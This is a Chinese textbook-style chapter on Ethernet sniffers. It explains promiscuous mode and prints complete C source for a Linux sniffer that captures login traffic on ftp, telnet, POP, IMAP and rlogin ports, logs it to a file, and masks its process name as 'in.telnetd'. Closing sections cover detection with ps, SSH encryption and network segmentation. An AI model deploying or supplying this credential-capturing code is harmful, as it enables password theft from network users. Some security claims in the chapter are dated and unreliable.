第六章
Sniffer
Sniffer是一种常用的收集有用数据方法，这些数据可以是用户的帐号和密码，可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解，第二节给出了一个sniffer的源程序，并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。
第一节Sniffer简介
什么是以太网sniffing?
以太网sniffing 是指对以太网设备上传送的数据包进行侦听，发现感兴趣的包。如果发现符合条件的包，就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。
它的目的是将网络层放到promiscuous模式，从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听，并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍，可以知道：一个设备要向某一目标发送数据时，它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。
利用这一点，可以将一台计算机的网络连接设置为接受所有以太网总线上的数据，从而实现sniffer。
sniffer通常运行在路由器，或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统，然后使用sniffer这种攻击手段，以便得到更多的信息。
sniffer除了能得到口令或用户名外，还能得到更多的其他信息，比如一个其他重要的信息，在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。
有许多运行与不同平台上的sniffer程序。
Linux tcpdump
DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、Netzhack
上面的这些程序，可以从互连网上找到。
使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序，根本就不能从大量的数据中找出需要的信息。
通常sniffer程序只看一个数据包的前200-300个字节的数据，就能发现想口令和用户名这样的信息。
第二节一个sniffer源程序
下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。
/* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/
#include < string.h>
#include < ctype.h>
#include < stdio.h>
#include < netdb.h>
#include < sys/file.h>
#include < sys/time.h>
#include < sys/socket.h>
#include < sys/ioctl.h>
#include < sys/signal.h>
#include < net/if.h>
#include < arpa/inet.h>
#include < netinet/in.h>
#include < netinet/ip.h>
#include < netinet/tcp.h>
#include < netinet/if_ether.h>
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("can not set promiscuous mode");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "\n");}
}
}
main(int argc, char **argv)
{
sprintf(argv[0],"%s","in.telnetd");
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent * he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL)
strcpy(blah, inet_ntoa(i));
else
strcpy(blah,he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig)
{
fprintf(fp, "Exiting...\n");
close(s);
fclose(fp);
exit(0);
}
下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr，iphdr，和tcphdr分别是三个结构，用来定义以太网帧，IP数据包头和TCP数据包头的格式。
它们在头文件中的定义如下：
struct ethhdr
{
unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
unsigned char h_source[ETH_ALEN]; /* source ether addr */
unsigned short h_proto; /* packet type ID field */
};
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t ihl:4;
u_int8_t version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int8_t version:4;
u_int8_t ihl:4;
#else
#error "Please fix < bytesex.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#else
#error "Adjust your < bits/endian.h> defines"
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_ptr;
};
上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来，定义了一个结构变量victim。
随后，看一下函数int openintf(char *d)，它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中，用到了下面的结构：
struct ifreq
{
#define IFHWADDRLEN 6
#define IFNAMSIZ 16
union
{
char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */
} ifr_ifrn;
union
{
struct sockaddr ifru_addr;
struct sockaddr ifru_dstaddr;
struct sockaddr ifru_broadaddr;
struct sockaddr ifru_netmask;
struct sockaddr ifru_hwaddr;
short int ifru_flags;
int ifru_ivalue;
int ifru_mtu;
struct ifmap ifru_map;
char ifru_slave[IFNAMSIZ]; /* Just fits the size */
__caddr_t ifru_data;
} ifr_ifru;
};
这个结构叫接口请求结构，用来调用在I/O输入输出时使用。所有的接口I/O输出必须有一个参数，这个参数以ifr_name开头，后面的参数根据使用不同的网络接口而不同。
如果你要看看你的计算机有哪些网络接口，使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里，程序将eth0作为ifr_name来使用的。接着，该函数将这个网络接口设置成promiscuous模式。请记住，sniffer是工作在这种模式下的。
再看一下函数read_tcp，它的作用是读取TCP数据包，传给filter处理。Filter函数是对上述读取的数据包进行处理。
接下来的程序是将数据输出到文件中去。
函数clearup是在程序退出等事件时，在文件中作个记录，并关闭文件。否则，你刚才做的记录都没了。
第三节怎样在一个网络上发现一个sniffer
简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。
只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠，但你可以控制哪个程序可以在你的计算机上运行。
在Unix系统下使用下面的命令：
ps -aux
或：
ps -augx
这个命令列出当前的所有进程，启动这些进程的用户，它们占用CPU的时间，占用内存的多少等等。
在Windows系统下，按下Ctrl+Alt+Del，看一下任务列表。不过，编程技巧高的Sniffer即使正在运行，也不会出现在这里的。
另一个方法就是在系统中搜索，查找可怀疑的文件。但可能入侵者用的是他们自己写的程序，所以都给发现sniffer造成相当的困难。
还有许多工具，能用来看看你的系统会不会在promiscuous模式。从而发现是否有一个sniffer正在运行。
怎样防止被sniffer
要防止sniffer并不困难，有许多可以选用的方法。但关键是都要有开销。所以问题在于你是否舍得开销。
你最关心的可能是传输一些比较敏感的数据，如用户ID或口令等等。有些数据是没有经过处理的，一旦被sniffer，就能获得这些信息。解决这些问题的办法是加密。
加密
我们介绍以下SSH，它又叫Secure Shell。SSH是一个在应用程序中提供安全通信的协议。它是建立在客户机/服务器模型上的。SSH服务器的分配的端口是22。连接是通过使用一种来自RSA的算法建立的。在授权完成后，接下来的通信数据是用IDEA技术来加密的。这通常是较强的 ，适合与任何非秘密和非经典的通讯。
SSH后来发展成为F-SSH，提供了高层次的，军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。
如果某个站点使用F-SSH，用户名和口令成为不是很重要的一点。目前，还没有人突破过这种加密方法。即使是sniffer，收集到的信息将不再有价值。当然最关键的是怎样使用它。
SSH和F-SSH都有商业或自由软件版本存在。NT are available.
还有其他的方法吗？
另一个比较容易接受的是使用安全拓扑结构。这听上去很简单，但实现是很花钱的。
玩过一种智力游戏吗，它通常有一系列数字组成。游戏的目的是要安排好数字，用最少的步骤，把它们按递减顺序排好。当处理网络拓扑时，就和玩这个游戏一样。
下面是一些规则：
一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计，而不是硬件需要。
这就建立了，让我们来看看。第一点：一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里，或在同一个办公室里。比如你的财务信息，应该固定在建筑的一部分。
注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了，数据包只能在这个网段上别sniffer。其余的网段将不可能被sniffer。
所有的问题都归结到信任上面。计算机为了和其他计算机进行通信，它就必须信任那台计算机。作为系统管理员，你的工作是决定一个方法，使得计算机之间的信任关系很小。这样，就建立了一种框架，你告诉你什么时候放置了一个sniffer，它放在那里了，是谁放的等等。
如果你的局域网要和INTERNET相连，仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描，并探测正在运行的服务。你要关心的是一旦入侵者进入系统，他能得到些什么。你必须考虑一条这样的路径，即信任关系有多长。举个例子，假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢？用一句话，就是确定最小信任关系的那台计算机。在信任关系中，这台计算机之前的任何一台计算机都可能对你的计算机进行攻击，并成功。你的任务就是保证一旦出现的sniffer，它只对最小范围有效。
Sniffer往往是攻击者在侵入系统后使用的，用来收集有用的信息。因此，防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试，防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住，许多攻击往往来自网络内部。
